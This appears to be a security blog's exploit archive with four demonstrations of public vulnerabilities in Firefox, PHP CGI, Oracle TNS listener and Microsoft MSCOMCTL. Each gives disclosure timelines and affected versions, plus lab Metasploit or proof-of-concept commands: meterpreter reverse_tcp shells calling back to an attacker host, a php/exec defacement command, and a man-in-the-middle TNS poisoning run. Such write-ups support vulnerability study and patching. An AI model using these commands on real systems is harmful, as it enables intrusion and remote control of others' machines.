Category Archives: Exploits

All my posts regarding exploits, PoCs and 0days.

CVE-2011-3658 Firefox 7/8 nsSVGValue Vulnerability Metasploit Demo

Exploits, Metasploit,

Timeline :

Vulnerability discovered by regenrecht
Vulnerability reported by regenrecht to ZDI
Vulnerability reported to the vendor by ZDI the 2011-12-01
Coordinated public release of the vulnerability the 2011-12-20
Metasploit PoC provided the 2012-05-07

PoC provided by :

regenrecht
Lincoln
corelanc0d3r

Reference(s) :

CVE-2011-3658
OSVDB-77953
MFSA-2011-55

Affected version(s) :

Mozilla Firefox before version 9.0
Mozilla Firefox before version 3.6.28
Mozilla Thunderbird before version 9.0
Mozilla SeaMonkey before version 2.6

Tested on Windows XP Pro SP3 with :

Mozilla Firefox before version 7.0.1

Description :

This metasploit module is quiet unstable and exploitation is random.

This module exploits an out-of-bounds access flaw in Firefox 7 and 8. The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y) uses a loop which can result in an out-of-bounds access to attacker-controlled memory. The mObserver ElementAt() function (which picks up pointers), does not validate if a given index is out of bound. If a custom observer of nsSVGValue is created, which removes elements from the original observer, and memory layout is manipulated properly, the ElementAt() function might pick up an attacker provided pointer, which can be leveraged to gain remote arbitrary code execution.

Commands :

use exploit/windows/browser/mozilla_nssvgvalue
set SRVHOST 192.168.178.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit

getuid
sysinfo

CVE-2012-1823 PHP CGI Argument Injection Metasploit Demo

Exploits, Metasploit

Timeline :

Vulnerability discovered at Nullcon Hackim 2012 by eindbazen the 2012-01-13
Vulnerability reported to the vendor the 2012-01-17
Vulnerability accidentally disclosed on PHP bug tracking system the 2012-05-03
Coordinated public release of the vulnerability the 2012-05-03
Metasploit PoC provided the 2012-05-04

PoC provided by :

egypt
hdm

Reference(s) :

CVE-2012-1823
OSVDB-81633

Affected version(s) :

PHP versions before 5.3.12
PHP versions before 5.4.2

Tested on CentOS release 6.2 (Final) with :

php-common and php-cli 5.3.3-3.el6_2.6 at Fri Feb 3 00:35:09 2012

Description :

When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: “if there is NO unescaped ‘=’ in the query string, the string is split on ‘+’ (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes them to the CGI binary.”

Note : This vulnerability was potentially exploited in the wild for at least 8 years !

Commands :

use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.178.210
set TARGETURI /phpinfo.php
set PAYLOAD php/exec
set CMD echo \"owned\">/var/www/html/owned.html
exploit

CVE-2012-1675 Oracle Database TNS Poison 0Day Video Demonstration

Exploits

Timeline :

Vulnerability discovered by Joxean Koret in 2008
Vulberability reported to the vendor by Joxean Koret in 2008
Public release of the vulnerability in Oracle CPU by the vendor the 2012-04-17
Details and PoC of the vulnerability released by Joxean Koret the 2012-04-18
Fake patching of the vulnerability discovered by Joxean Koret the 2012-04-26

PoC provided by :

Joxean Koret

Reference(s) :

Oracle CPU of April 2012
Joxean Koret details and PoC
CVE-2012-1675
Oracle Security Alert for CVE-2012-1675

Affected version(s) :

All versions of Oracle Database

Tested with :

Oracle Database 10g Enterprise Edition Release 10.2.0.4.0

Description :

Usage of Joxean Koret PoC require that the database name has a length of 6 characters.

Database server characteristics :

IP : 192.168.178.150
Oracle version : 10.2.0.4.0
Database listener port : 1521
Database listener has no clients IPs restrictions
Database name : arcsig
Database username : arcsig
Database password : testtest

Database client characteristics :

IP : 192.168.178.151
SQL*Plus version : 10.2.0.4.0

“tnsnames.ora” file as bellow :

TARGET.DB=
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.178.150)(PORT = 1521))
(CONNECT_DATA =
(SERVICE_NAME= arcsig)
)
)

Attacker characteristics :

IP : 192.168.178.100
Usage of PoC provided by Joxean Koret

Demonstration :

PoC validation phase

On database server :

ifconfig
ps faux
netstat -tan

On database client :

ifconfig
sqlplus -v
cat tnsnames.ora
sqlplus [email protected]
HELP
QUIT

PoC exploitation phase

On attacker :

Start the MITM proxy, how will intercept the communication between the client and the database :

sudo python proxy.py -l 192.168.178.100 -p 1521 -r 192.168.178.150 -P 1521

Start the vulnerability exploitation :

python tnspoisonv1.py 192.168.178.100 1521 arcsig 192.168.178.150 1521

On the database client :

Connect with SQL*Plus
sqlplus [email protected]
?
? INDEX
TOTO
QUIT

You can see that the communication are intercepted by the proxy.

MS12-027 MSCOMCTL ActiveX Buffer Overflow Metasploit Demo

Exploits, Metasploit

Timeline :

Vulnerability reported by Unknown to the vendor
Public release of the vulnerability the 2012-04-10
Vulnerability found exploited in targeted attacks the 2012-04-12
Metasploit PoC provided the 2012-04-23

PoC provided by :

Unknown
juan vazquez
sinn3r

Reference(s) :

CVE-2012-0158
MS12-027
OSVDB-81125

Affected version(s) :

Microsoft Office 2003 SP3
Microsoft Office 2003 Web Components SP3
Microsoft Office 2007 SP2
Microsoft Office 2007 SP3
Microsoft Office 2010 32-bit
Microsoft Office 2010 SP1 32-bit
Microsoft SQL Server 2000 Analysis SP4
Microsoft SQL Server 2000 SP4
Microsoft SQL Server 2005 Express Edition with Advanced SP4
Microsoft SQL Server 2005 for 32-bit SP4
Microsoft SQL Server 2005 for x64-bit SP4
Microsoft SQL Server 2008 for 32-bit SP2
Microsoft SQL Server 2008 for 32-bit SP3
Microsoft SQL Server 2008 for x64-bit SP2
Microsoft SQL Server 2008 for x64-bit SP3
Microsoft SQL Server 2008 R2 for 32-bit
Microsoft SQL Server 2008 R2 for x64-bit
Microsoft BizTalk Server 2002 SP1
Microsoft Commerce Server 2002 SP4
Microsoft Commerce Server 2007 SP2
Microsoft Commerce Server 2009
Microsoft Commerce Server 2009 R2
Microsoft Visual FoxPro 8.0 SP1
Microsoft Visual FoxPro 9.0 SP2
Visual Basic 6.0 Runtime

Tested on Windows XP Pro SP3 with :

Microsoft Office Word 2007 (12.0.4518.104)

Description :

This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April 2012. This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses “msgr3en.dll”, which will load after office got load, so the malicious file must be loaded through “File / Open” to achieve exploitation.

Commands :

use exploit/windows/fileformat/ms12_027_mscomctl_bof
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.21.47
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.21.47
exploit -j

getuid
sysinfo